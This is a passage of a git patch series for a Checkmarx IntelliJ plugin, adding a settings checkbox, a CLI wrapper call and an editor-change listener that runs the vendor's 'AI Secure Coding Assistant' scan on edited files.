From 72b69cc6ead9994bdd911d60c47d2494e30bda53 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Thu, 10 Oct 2024 10:26:45 +0300 Subject: [PATCH 01/38] add asca checkbox and description --- build.gradle | 2 +- .../com/checkmarx/intellij/Constants.java | 1 + .../java/com/checkmarx/intellij/Resource.java | 2 + .../global/GlobalSettingsComponent.java | 39 +++++++++++++++---- .../settings/global/GlobalSettingsState.java | 7 ++++ .../resources/messages/CxBundle.properties | 2 + 6 files changed, 44 insertions(+), 9 deletions(-) diff --git a/build.gradle b/build.gradle index a75168d7..e4921360 100644 --- a/build.gradle +++ b/build.gradle @@ -43,7 +43,7 @@ dependencies { implementation 'com.miglayout:miglayout-swing:11.3' if (javaWrapperVersion == "" || javaWrapperVersion == null) { - implementation('com.checkmarx.ast:ast-cli-java-wrapper:2.0.17'){ + implementation('com.checkmarx.ast:ast-cli-java-wrapper:2.1.0'){ exclude group: 'junit', module: 'junit' } } else { diff --git a/src/main/java/com/checkmarx/intellij/Constants.java b/src/main/java/com/checkmarx/intellij/Constants.java index ebebda71..36360304 100644 --- a/src/main/java/com/checkmarx/intellij/Constants.java +++ b/src/main/java/com/checkmarx/intellij/Constants.java @@ -51,6 +51,7 @@ private Constants() { public static final String FIELD_NAME_API_KEY = "apiKey"; public static final String FIELD_NAME_ADDITIONAL_PARAMETERS = "additionalParameters"; + public static final String FIELD_NAME_ASCA = "ascaCheckBox"; public static final String SELECTED_PROJECT_PROPERTY = "Checkmarx.SelectedProject"; public static final String SELECTED_BRANCH_PROPERTY = "Checkmarx.SelectedBranch"; diff --git a/src/main/java/com/checkmarx/intellij/Resource.java b/src/main/java/com/checkmarx/intellij/Resource.java index 7d446ff8..9c38c448 100644 --- a/src/main/java/com/checkmarx/intellij/Resource.java +++ b/src/main/java/com/checkmarx/intellij/Resource.java @@ -9,6 +9,8 @@ public enum Resource { API_KEY, SCAN_SECTION, ADDITIONAL_PARAMETERS, + ASCA_CHECKBOX, + ASCA_DESCRIPTION, VALIDATE_BUTTON, VALIDATE_IN_PROGRESS, VALIDATE_SUCCESS, diff --git a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java index 25921fe6..9ae44c78 100644 --- a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java +++ b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java @@ -16,7 +16,6 @@ import com.intellij.ui.components.JBCheckBox; import com.intellij.ui.components.JBLabel; import com.intellij.ui.components.JBPasswordField; -import com.intellij.ui.components.JBTextField; import com.intellij.ui.components.fields.ExpandableTextField; import com.intellij.util.messages.MessageBus; import lombok.Getter; @@ -24,6 +23,8 @@ import javax.swing.*; import java.awt.*; +import java.awt.event.ItemEvent; +import java.awt.event.ItemListener; import java.io.IOException; import java.net.URISyntaxException; import java.util.Objects; @@ -49,6 +50,7 @@ public class GlobalSettingsComponent implements SettingsComponent { private final JButton validateButton = new JButton(Bundle.message(Resource.VALIDATE_BUTTON)); private final JBLabel validateResult = new JBLabel(); + private final JBCheckBox ascaCheckBox = new JBCheckBox(Bundle.message(Resource.ASCA_CHECKBOX)); public GlobalSettingsComponent() { if (SETTINGS_STATE == null) { @@ -58,6 +60,7 @@ public GlobalSettingsComponent() { SENSITIVE_SETTINGS_STATE = GlobalSettingsSensitiveState.getInstance(); } addValidateConnectionListener(); + addAscaCheckBoxListener(); setupFields(); buildGUI(); @@ -74,7 +77,8 @@ public boolean isModified() { @Override public void apply() { - SETTINGS_STATE.apply(getStateFromFields()); + GlobalSettingsState state = getStateFromFields(); + SETTINGS_STATE.apply(state); SENSITIVE_SETTINGS_STATE.apply(getSensitiveStateFromFields()); messageBus.syncPublisher(SettingsListener.SETTINGS_APPLIED).settingsApplied(); } @@ -82,6 +86,7 @@ public void apply() { @Override public void reset() { additionalParametersField.setText(SETTINGS_STATE.getAdditionalParameters()); + ascaCheckBox.setSelected(SETTINGS_STATE.isAsca()); SENSITIVE_SETTINGS_STATE.reset(); apiKeyField.setText(SENSITIVE_SETTINGS_STATE.getApiKey()); @@ -97,6 +102,7 @@ public void reset() { private GlobalSettingsState getStateFromFields() { GlobalSettingsState state = new GlobalSettingsState(); state.setAdditionalParameters(additionalParametersField.getText().trim()); + state.setAsca(ascaCheckBox.isSelected()); return state; } @@ -127,7 +133,7 @@ private void addValidateConnectionListener() { CompletableFuture.runAsync(() -> { try { Authentication.validateConnection(getStateFromFields(), - getSensitiveStateFromFields()); + getSensitiveStateFromFields()); setValidationResult(Bundle.message(Resource.VALIDATE_SUCCESS), JBColor.GREEN); LOGGER.info(Bundle.message(Resource.VALIDATE_SUCCESS)); } catch (IOException | URISyntaxException | InterruptedException e) { @@ -145,6 +151,16 @@ private void addValidateConnectionListener() { }); } + private void addAscaCheckBoxListener() { + ascaCheckBox.addItemListener(e -> { + if (e.getStateChange() == ItemEvent.SELECTED) { + System.out.println("Checkbox selected!"); + } else { + System.out.println("Checkbox deselected!"); + } + }); + } + /** * Set validation message text and color. * @@ -164,16 +180,21 @@ private void buildGUI() { mainPanel.setLayout(new MigLayout("", "[][grow]")); mainPanel.add(CxLinkLabel.buildDocLinkLabel(Constants.INTELLIJ_HELP, Resource.HELP_JETBRAINS), - "span, growx, wrap, gapbottom 10"); + "span, growx, wrap, gapbottom 10"); addSectionHeader(Resource.CREDENTIALS_SECTION); addField(Resource.API_KEY, apiKeyField, true, true); addSectionHeader(Resource.SCAN_SECTION); - addField(Resource.ADDITIONAL_PARAMETERS, additionalParametersField, false, false); + addField(Resource.ADDITIONAL_PARAMETERS, additionalParametersField, true, false); mainPanel.add(new JBLabel()); mainPanel.add(CxLinkLabel.buildDocLinkLabel(Constants.ADDITIONAL_PARAMETERS_HELP, Resource.HELP_CLI), - "gapleft 5, wrap"); + "gapleft 5, wrap"); + + // Add ASCA checkbox + addSectionHeader(Resource.ASCA_DESCRIPTION); + mainPanel.add(ascaCheckBox,"wrap"); + mainPanel.add(validateButton, "sizegroup bttn, gaptop 30"); mainPanel.add(validateResult, "gapleft 5, gaptop 30"); } @@ -181,8 +202,10 @@ private void buildGUI() { private void setupFields() { apiKeyField.setName(Constants.FIELD_NAME_API_KEY); additionalParametersField.setName(Constants.FIELD_NAME_ADDITIONAL_PARAMETERS); + ascaCheckBox.setName(Constants.FIELD_NAME_ASCA); } + private void addSectionHeader(Resource resource) { validatePanel(); mainPanel.add(new JBLabel(Bundle.message(resource)), "split 2, span"); @@ -196,8 +219,8 @@ private void addField(Resource resource, Component field, boolean gapAfter, bool constraints += ", " + Constants.FIELD_GAP_BOTTOM; } String label = String.format(Constants.FIELD_FORMAT, - Bundle.message(resource), - required ? Constants.REQUIRED_MARK : ""); + Bundle.message(resource), + required ? Constants.REQUIRED_MARK : ""); mainPanel.add(new JBLabel(label), gapAfter ? Constants.FIELD_GAP_BOTTOM : ""); mainPanel.add(field, constraints); } diff --git a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsState.java b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsState.java index 6907057e..d4f311dc 100644 --- a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsState.java +++ b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsState.java @@ -41,6 +41,9 @@ public static GlobalSettingsState getInstance() { @NotNull private String additionalParameters = ""; + @NotNull + private boolean asca = false; + @NotNull private Set filters = new HashSet<>(getDefaultFilters()); @@ -66,5 +69,9 @@ public static Set getDefaultFilters() { return set; } + + public void setAscaEnabled(boolean ascaEnabled) { + this.asca = ascaEnabled; + } } diff --git a/src/main/resources/messages/CxBundle.properties b/src/main/resources/messages/CxBundle.properties index 1478e51c..88ae5f02 100644 --- a/src/main/resources/messages/CxBundle.properties +++ b/src/main/resources/messages/CxBundle.properties @@ -5,6 +5,8 @@ SCAN_SECTION=Additional Settings ADDITIONAL_PARAMETERS=Additional parameters VALIDATE_BUTTON=Validate connection VALIDATE_IN_PROGRESS=Validating... +ASCA_DESCRIPTION=Checkmarx AI secure coding assistant (ASCA): activate ASCA +ASCA_CHECKBOX=Scans your file as you code VALIDATE_SUCCESS=Successfully authenticated to Checkmarx One server VALIDATE_FAIL=Failed authentication: {0} VALIDATE_ERROR=Error in authentication From f1e173b14e4961e507412baed917ed2935893289 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Thu, 10 Oct 2024 11:11:48 +0300 Subject: [PATCH 02/38] update asca description and made gap in the botton between additional params and asca checkbox --- .../intellij/settings/global/GlobalSettingsComponent.java | 2 +- src/main/resources/messages/CxBundle.properties | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java index 9ae44c78..6cb079a0 100644 --- a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java +++ b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java @@ -189,7 +189,7 @@ private void buildGUI() { addField(Resource.ADDITIONAL_PARAMETERS, additionalParametersField, true, false); mainPanel.add(new JBLabel()); mainPanel.add(CxLinkLabel.buildDocLinkLabel(Constants.ADDITIONAL_PARAMETERS_HELP, Resource.HELP_CLI), - "gapleft 5, wrap"); + "gapleft 5,gapbottom 10, wrap"); // Add ASCA checkbox addSectionHeader(Resource.ASCA_DESCRIPTION); diff --git a/src/main/resources/messages/CxBundle.properties b/src/main/resources/messages/CxBundle.properties index 88ae5f02..2cceda35 100644 --- a/src/main/resources/messages/CxBundle.properties +++ b/src/main/resources/messages/CxBundle.properties @@ -5,7 +5,7 @@ SCAN_SECTION=Additional Settings ADDITIONAL_PARAMETERS=Additional parameters VALIDATE_BUTTON=Validate connection VALIDATE_IN_PROGRESS=Validating... -ASCA_DESCRIPTION=Checkmarx AI secure coding assistant (ASCA): activate ASCA +ASCA_DESCRIPTION=Checkmarx AI Secure Coding Assistant (ASCA): Activate ASCA ASCA_CHECKBOX=Scans your file as you code VALIDATE_SUCCESS=Successfully authenticated to Checkmarx One server VALIDATE_FAIL=Failed authentication: {0} From 60783c373db6a5ef3c6df655b24dcfa4417c7198 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Thu, 10 Oct 2024 11:14:44 +0300 Subject: [PATCH 03/38] revert unrelated changes --- .../intellij/settings/global/GlobalSettingsComponent.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java index 6cb079a0..acc6402c 100644 --- a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java +++ b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java @@ -186,10 +186,10 @@ private void buildGUI() { addField(Resource.API_KEY, apiKeyField, true, true); addSectionHeader(Resource.SCAN_SECTION); - addField(Resource.ADDITIONAL_PARAMETERS, additionalParametersField, true, false); + addField(Resource.ADDITIONAL_PARAMETERS, additionalParametersField, false, false); mainPanel.add(new JBLabel()); mainPanel.add(CxLinkLabel.buildDocLinkLabel(Constants.ADDITIONAL_PARAMETERS_HELP, Resource.HELP_CLI), - "gapleft 5,gapbottom 10, wrap"); + "gapleft 5, wrap"); // Add ASCA checkbox addSectionHeader(Resource.ASCA_DESCRIPTION); From 6cc329a8f24bc1aa7d9a3fcbe6619560d5811b95 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Thu, 10 Oct 2024 11:16:49 +0300 Subject: [PATCH 04/38] add botton gap --- .../intellij/settings/global/GlobalSettingsComponent.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java index acc6402c..75c7ef84 100644 --- a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java +++ b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java @@ -189,7 +189,7 @@ private void buildGUI() { addField(Resource.ADDITIONAL_PARAMETERS, additionalParametersField, false, false); mainPanel.add(new JBLabel()); mainPanel.add(CxLinkLabel.buildDocLinkLabel(Constants.ADDITIONAL_PARAMETERS_HELP, Resource.HELP_CLI), - "gapleft 5, wrap"); + "gapleft 5,gapbottom 10, wrap"); // Add ASCA checkbox addSectionHeader(Resource.ASCA_DESCRIPTION); From 4f106e7990db5631f77d13f48e80b1682b474a05 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Thu, 10 Oct 2024 12:46:11 +0300 Subject: [PATCH 05/38] added ASCA wrapper integration and colored notification in setting --- .../java/com/checkmarx/intellij/Resource.java | 1 + .../com/checkmarx/intellij/commands/ASCA.java | 21 ++++++++ .../global/GlobalSettingsComponent.java | 52 +++++++++++++++++-- .../resources/messages/CxBundle.properties | 3 +- 4 files changed, 71 insertions(+), 6 deletions(-) create mode 100644 src/main/java/com/checkmarx/intellij/commands/ASCA.java diff --git a/src/main/java/com/checkmarx/intellij/Resource.java b/src/main/java/com/checkmarx/intellij/Resource.java index 9c38c448..05abca52 100644 --- a/src/main/java/com/checkmarx/intellij/Resource.java +++ b/src/main/java/com/checkmarx/intellij/Resource.java @@ -11,6 +11,7 @@ public enum Resource { ADDITIONAL_PARAMETERS, ASCA_CHECKBOX, ASCA_DESCRIPTION, + ASCA_SCAN_WARNING, VALIDATE_BUTTON, VALIDATE_IN_PROGRESS, VALIDATE_SUCCESS, diff --git a/src/main/java/com/checkmarx/intellij/commands/ASCA.java b/src/main/java/com/checkmarx/intellij/commands/ASCA.java new file mode 100644 index 00000000..d86b4973 --- /dev/null +++ b/src/main/java/com/checkmarx/intellij/commands/ASCA.java @@ -0,0 +1,21 @@ +package com.checkmarx.intellij.commands; + +import com.checkmarx.ast.asca.ScanResult; +import com.checkmarx.ast.wrapper.CxConfig; +import com.checkmarx.ast.wrapper.CxException; +import com.checkmarx.intellij.settings.global.CxWrapperFactory; + +import java.io.IOException; +import java.net.URISyntaxException; + +public class ASCA { + public static ScanResult scanAsca(String path, boolean ascaLatestVersion, String agent) + throws + CxConfig.InvalidCLIConfigException, + IOException, + URISyntaxException, + CxException, + InterruptedException { + return CxWrapperFactory.build().ScanAsca(path, ascaLatestVersion, agent); + } +} diff --git a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java index 75c7ef84..f751df19 100644 --- a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java +++ b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java @@ -1,11 +1,13 @@ package com.checkmarx.intellij.settings.global; +import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.ast.wrapper.CxConfig; import com.checkmarx.ast.wrapper.CxException; import com.checkmarx.intellij.Bundle; import com.checkmarx.intellij.Constants; import com.checkmarx.intellij.Resource; import com.checkmarx.intellij.Utils; +import com.checkmarx.intellij.commands.ASCA; import com.checkmarx.intellij.commands.Authentication; import com.checkmarx.intellij.components.CxLinkLabel; import com.checkmarx.intellij.settings.SettingsComponent; @@ -51,6 +53,8 @@ public class GlobalSettingsComponent implements SettingsComponent { private final JButton validateButton = new JButton(Bundle.message(Resource.VALIDATE_BUTTON)); private final JBLabel validateResult = new JBLabel(); private final JBCheckBox ascaCheckBox = new JBCheckBox(Bundle.message(Resource.ASCA_CHECKBOX)); + private final JBLabel ascaRunning = new JBLabel(); + public GlobalSettingsComponent() { if (SETTINGS_STATE == null) { @@ -92,6 +96,7 @@ public void reset() { apiKeyField.setText(SENSITIVE_SETTINGS_STATE.getApiKey()); validateResult.setVisible(false); + ascaRunning.setVisible(false); } /** @@ -153,14 +158,45 @@ private void addValidateConnectionListener() { private void addAscaCheckBoxListener() { ascaCheckBox.addItemListener(e -> { - if (e.getStateChange() == ItemEvent.SELECTED) { - System.out.println("Checkbox selected!"); - } else { - System.out.println("Checkbox deselected!"); + if (e.getStateChange() != ItemEvent.SELECTED) { + ascaRunning.setVisible(false); + LOGGER.debug("ASCA checkbox deselected."); + return; } + + runAscaScanInBackground(); }); } + private void runAscaScanInBackground() { + new SwingWorker() { + @Override + protected Void doInBackground() { + try { + ascaRunning.setVisible(false); + ScanResult ascaResults = ASCA.scanAsca("", true, Constants.JET_BRAINS_AGENT_NAME); + LOGGER.info(ascaResults.getMessage()); + setAscaRunning(ascaResults.getMessage(), JBColor.GREEN); + } catch (IOException | URISyntaxException | InterruptedException ex) { + LOGGER.warn(Bundle.message(Resource.ASCA_SCAN_WARNING), ex); + } catch (CxException | CxConfig.InvalidCLIConfigException ex) { + String msg = ex.getMessage().trim(); + int lastLineIndex = Math.max(msg.lastIndexOf('\n'), 0); + setAscaRunning(msg.substring(lastLineIndex).trim(), JBColor.RED); + LOGGER.warn(Bundle.message(Resource.ASCA_SCAN_WARNING, msg.substring(lastLineIndex).trim())); + } finally { + ascaRunning.setVisible(true); + } + return null; + } + + @Override + protected void done() { + LOGGER.debug("ASCA scan completed."); + } + }.execute(); + } + /** * Set validation message text and color. * @@ -172,6 +208,11 @@ private void setValidationResult(String message, JBColor color) { validateResult.setForeground(color); } + private void setAscaRunning(String message, JBColor color) { + ascaRunning.setText(String.format("%s", message)); + ascaRunning.setForeground(color); + } + /** * Build the GUI with {@link MigLayout}. * http://www.miglayout.com/QuickStart.pdf @@ -193,7 +234,8 @@ private void buildGUI() { // Add ASCA checkbox addSectionHeader(Resource.ASCA_DESCRIPTION); - mainPanel.add(ascaCheckBox,"wrap"); + mainPanel.add(ascaCheckBox); + mainPanel.add(ascaRunning, "gapleft 5, wrap"); mainPanel.add(validateButton, "sizegroup bttn, gaptop 30"); mainPanel.add(validateResult, "gapleft 5, gaptop 30"); diff --git a/src/main/resources/messages/CxBundle.properties b/src/main/resources/messages/CxBundle.properties index 2cceda35..bd50159e 100644 --- a/src/main/resources/messages/CxBundle.properties +++ b/src/main/resources/messages/CxBundle.properties @@ -6,7 +6,8 @@ ADDITIONAL_PARAMETERS=Additional parameters VALIDATE_BUTTON=Validate connection VALIDATE_IN_PROGRESS=Validating... ASCA_DESCRIPTION=Checkmarx AI Secure Coding Assistant (ASCA): Activate ASCA -ASCA_CHECKBOX=Scans your file as you code +ASCA_CHECKBOX=Scan your file as you code +ASCA_SCAN_WARNING=ASCA Warning: {0} VALIDATE_SUCCESS=Successfully authenticated to Checkmarx One server VALIDATE_FAIL=Failed authentication: {0} VALIDATE_ERROR=Error in authentication From 2a76f3cc7dd375287c0148eabe6580ba18f7cdc7 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Thu, 10 Oct 2024 14:46:00 +0300 Subject: [PATCH 06/38] implement editor listener --- .../tool/window/CxToolWindowPanel.java | 103 ++++++++++++++++-- 1 file changed, 92 insertions(+), 11 deletions(-) diff --git a/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java b/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java index fb4c795c..4476f486 100644 --- a/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java +++ b/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java @@ -22,6 +22,11 @@ import com.intellij.openapi.actionSystem.ActionToolbar; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.diagnostic.Logger; +import com.intellij.openapi.editor.Document; +import com.intellij.openapi.editor.Editor; +import com.intellij.openapi.fileEditor.FileEditorManager; +import com.intellij.openapi.fileEditor.FileEditorManagerEvent; +import com.intellij.openapi.fileEditor.FileEditorManagerListener; import com.intellij.openapi.options.ShowSettingsUtil; import com.intellij.openapi.project.Project; import com.intellij.openapi.ui.SimpleToolWindowPanel; @@ -49,6 +54,7 @@ import java.awt.event.KeyListener; import java.util.*; import java.util.List; +import java.util.Timer; import java.util.concurrent.CompletableFuture; import java.util.regex.Pattern; @@ -91,11 +97,10 @@ public class CxToolWindowPanel extends SimpleToolWindowPanel implements Disposab // service for indexing current results private final ProjectResultsService projectResultsService; - /** - * Creates the tool window with the settings panel or the results panel - * - * @param project current project - */ + private Document currentDocument; + private Timer timer = new Timer(); + private TimerTask pendingTask; + public CxToolWindowPanel(@NotNull Project project) { super(false, true); @@ -111,16 +116,92 @@ public CxToolWindowPanel(@NotNull Project project) { } }; - ApplicationManager.getApplication() - .getMessageBus() - .connect(this) - .subscribe(SettingsListener.SETTINGS_APPLIED, r::run); - ApplicationManager.getApplication().getMessageBus().connect(this).subscribe(FilterBaseAction.FILTER_CHANGED, - this::changeFilter); + // Establish message bus connection before subscribing + ApplicationManager.getApplication().getMessageBus() + .connect(this) + .subscribe(SettingsListener.SETTINGS_APPLIED, r::run); + ApplicationManager.getApplication().getMessageBus().connect(this) + .subscribe(FilterBaseAction.FILTER_CHANGED, this::changeFilter); + listenForEditorChanges(); // Add listener for active editor changes r.run(); } + private void listenForEditorChanges() { + project.getMessageBus().connect(this).subscribe(FileEditorManagerListener.FILE_EDITOR_MANAGER, new FileEditorManagerListener() { + @Override + public void selectionChanged(@NotNull FileEditorManagerEvent event) { + Editor editor = FileEditorManager.getInstance(project).getSelectedTextEditor(); + if (editor != null) { + Document newDocument = editor.getDocument(); + + // If a new document is selected, remove the listener from the old document and attach to the new one + if (currentDocument != newDocument) { + if (currentDocument != null) { + removeDocumentListener(currentDocument); // Remove listener from old document + } + currentDocument = newDocument; + registerDocumentListener(currentDocument); // Add listener to new document + } + } + } + }); + } + + private void registerDocumentListener(Document document) { + document.addDocumentListener(new com.intellij.openapi.editor.event.DocumentListener() { + @Override + public void documentChanged(@NotNull com.intellij.openapi.editor.event.DocumentEvent event) { + // Cancel any previous timer task + if (pendingTask != null) { + pendingTask.cancel(); + } + + // Create a new TimerTask to execute after 2 seconds of no further edits + pendingTask = new TimerTask() { + @Override + public void run() { + runInBackground(); // Run the task in the background + } + }; + + // Schedule the task to run after 2 seconds (2000 ms) + timer.schedule(pendingTask, 2000); + } + }); + } + + /** + * Removes the document listener from the specified document. + * Since IntelliJ IDEA doesn't have a built-in way to remove a listener, you can prevent actions + * for the old document by ignoring it in the logic or use flags if needed. + * + * @param document the document to remove the listener from. + */ + private void removeDocumentListener(Document document) { + // IntelliJ does not provide a direct way to remove listeners from a document, + // but we can ensure only the current document is actively processed. + } + + /** + * Executes the background task using a SwingWorker. + */ + private void runInBackground() { + new SwingWorker() { + @Override + protected Void doInBackground() { + // Perform the task in the background + System.out.println("edited"); + return null; + } + + @Override + protected void done() { + // Optional: You can update the UI here if needed once the background task is complete. + } + }.execute(); + } + /** * Creates the main panel UI for results. */ From 988043ba855f7c38aef1f383a1d8dfde2dcf8889 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Thu, 10 Oct 2024 15:26:25 +0300 Subject: [PATCH 07/38] implement AscaService.java --- .../checkmarx/intellij/ASCA/AscaService.java | 130 ++++++++++++++++++ .../com/checkmarx/intellij/commands/ASCA.java | 10 ++ .../tool/window/CxToolWindowPanel.java | 48 ++++--- 3 files changed, 167 insertions(+), 21 deletions(-) create mode 100644 src/main/java/com/checkmarx/intellij/ASCA/AscaService.java diff --git a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java new file mode 100644 index 00000000..ce6b021e --- /dev/null +++ b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java @@ -0,0 +1,130 @@ +package com.checkmarx.intellij.ASCA; + +import com.checkmarx.ast.asca.ScanDetail; +import com.checkmarx.ast.asca.ScanResult; +import com.checkmarx.ast.wrapper.CxConfig; +import com.checkmarx.ast.wrapper.CxException; +import com.checkmarx.intellij.commands.ASCA; +import com.intellij.codeInspection.*; +import com.intellij.openapi.diagnostic.Logger; +import com.intellij.openapi.project.Project; +import com.intellij.openapi.vfs.VirtualFile; +import com.intellij.psi.PsiFile; +import com.intellij.psi.PsiManager; +import com.intellij.openapi.application.ApplicationManager; + +import java.io.File; +import java.io.IOException; +import java.net.URISyntaxException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.ArrayList; +import java.util.List; +import java.util.Objects; + +public class AscaService { + + private static final String ASCA_DIR = "CxASCA"; + private static final Logger LOGGER = Logger.getInstance(AscaService.class); + + public AscaService() { + // Default constructor + } + + public void scanAsca(VirtualFile file, Project project, boolean ascLatestVersion, String agent) { + if (ignoreFiles(file)) { + return; + } + try { + // Save the file temporarily + String filePath = saveTempFile(file.getName(), new String(file.contentsToByteArray())); + // Run the ASCA scan + LOGGER.info("Start ASCA scan on file: " + file.getPath()); + ScanResult scanAscaResult = ASCA.scanAsca(filePath, ascLatestVersion, agent); + // Delete the temporary file + deleteFile(filePath); + LOGGER.info("File " + filePath + " deleted."); + // Handle errors if any + if (scanAscaResult.getError()!= null) { + LOGGER.warn("ASCA Warning: " + (Objects.nonNull(scanAscaResult.getError().getDescription()) ? + scanAscaResult.getError().getDescription() : scanAscaResult.getError())); + return; + } + // Log the results + LOGGER.info(scanAscaResult.getScanDetails().size() + " security best practice violations were found in " + file.getPath()); + updateProblems(scanAscaResult, file, project); + } catch (IOException | CxConfig.InvalidCLIConfigException | URISyntaxException | CxException | InterruptedException e) { + LOGGER.error("Error during ASCA scan."); + } + } + + private boolean ignoreFiles(VirtualFile file) { + // Ignore non-local files + return !file.isInLocalFileSystem(); + } + + private void updateProblems(ScanResult scanAscaResult, VirtualFile file, Project project) { + PsiFile psiFile = PsiManager.getInstance(project).findFile(file); + if (psiFile == null) { + return; + } + + InspectionManager inspectionManager = InspectionManager.getInstance(project); + List problemDescriptors = new ArrayList<>(); + + for (ScanDetail res : scanAscaResult.getScanDetails()) { + String description = res.getRuleName() + " - " + res.getRemediationAdvise(); + ProblemDescriptor problemDescriptor = inspectionManager.createProblemDescriptor( + psiFile, description, true, ProblemHighlightType.GENERIC_ERROR_OR_WARNING, true); + problemDescriptors.add(problemDescriptor); + } + + // Apply the problems to the PSI file in the UI thread + ApplicationManager.getApplication().invokeLater(() -> { + if (!problemDescriptors.isEmpty()) { + // This is where you'd add the problem descriptors to the IDE's problem view or a custom inspection tool + // For instance, you could implement an inspection that registers the problems with IntelliJ's inspection framework + LOGGER.info(problemDescriptors.size() + " problems added to the file."); + } + }); + } + + private String saveTempFile(String fileName, String content) { + try { + Path tempDir = Paths.get(System.getProperty("java.io.tmpdir"), ASCA_DIR); + Files.createDirectories(tempDir); + Path tempFilePath = tempDir.resolve(fileName); + Files.write(tempFilePath, content.getBytes()); + LOGGER.info("Temp file was saved in: " + tempFilePath); + return tempFilePath.toString(); + } catch (IOException e) { + LOGGER.error("Failed to save temporary file:", e); + return null; + } + } + + public void installAsca() { + try { + ScanResult res = ASCA.installAsca(); + if (res.getError()!= null) { + String errorMessage = "ASCA Installation Error: " + res.getError().getDescription(); + LOGGER.error(errorMessage); + } + } catch (Exception e) { + LOGGER.error(e); + LOGGER.warn("Error during ASCA installation."); + } + } + + private void deleteFile(String filePath) { + try { + File file = new File(filePath); + if (file.exists()) { + file.delete(); + } + } catch (Exception e) { + LOGGER.error("Failed to delete file", e); + } + } +} diff --git a/src/main/java/com/checkmarx/intellij/commands/ASCA.java b/src/main/java/com/checkmarx/intellij/commands/ASCA.java index d86b4973..23917448 100644 --- a/src/main/java/com/checkmarx/intellij/commands/ASCA.java +++ b/src/main/java/com/checkmarx/intellij/commands/ASCA.java @@ -3,6 +3,7 @@ import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.ast.wrapper.CxConfig; import com.checkmarx.ast.wrapper.CxException; +import com.checkmarx.intellij.Constants; import com.checkmarx.intellij.settings.global.CxWrapperFactory; import java.io.IOException; @@ -18,4 +19,13 @@ public static ScanResult scanAsca(String path, boolean ascaLatestVersion, String InterruptedException { return CxWrapperFactory.build().ScanAsca(path, ascaLatestVersion, agent); } + + public static ScanResult installAsca() + throws CxConfig.InvalidCLIConfigException, + IOException, + URISyntaxException, + CxException, + InterruptedException { + return CxWrapperFactory.build().ScanAsca("",true, Constants.JET_BRAINS_AGENT_NAME); + } } diff --git a/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java b/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java index 4476f486..e7e64524 100644 --- a/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java +++ b/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java @@ -1,6 +1,7 @@ package com.checkmarx.intellij.tool.window; import com.checkmarx.intellij.*; +import com.checkmarx.intellij.ASCA.AscaService; import com.checkmarx.intellij.commands.TenantSetting; import com.checkmarx.intellij.commands.results.ResultGetState; import com.checkmarx.intellij.commands.results.Results; @@ -31,6 +32,7 @@ import com.intellij.openapi.project.Project; import com.intellij.openapi.ui.SimpleToolWindowPanel; import com.intellij.openapi.ui.Splitter; +import com.intellij.openapi.vfs.VirtualFile; import com.intellij.ui.OnePixelSplitter; import com.intellij.ui.SearchTextField; import com.intellij.ui.components.JBLabel; @@ -100,11 +102,14 @@ public class CxToolWindowPanel extends SimpleToolWindowPanel implements Disposab private Document currentDocument; private Timer timer = new Timer(); private TimerTask pendingTask; + private final AscaService ascaService; + public CxToolWindowPanel(@NotNull Project project) { super(false, true); this.project = project; + this.ascaService = new AscaService(); // Initialize the AscaService this.projectResultsService = project.getService(ProjectResultsService.class); Runnable r = () -> { @@ -127,6 +132,10 @@ public CxToolWindowPanel(@NotNull Project project) { r.run(); } + /** + * Listens for changes in the active editor and sets a document listener + * on the document of the currently active editor. + */ private void 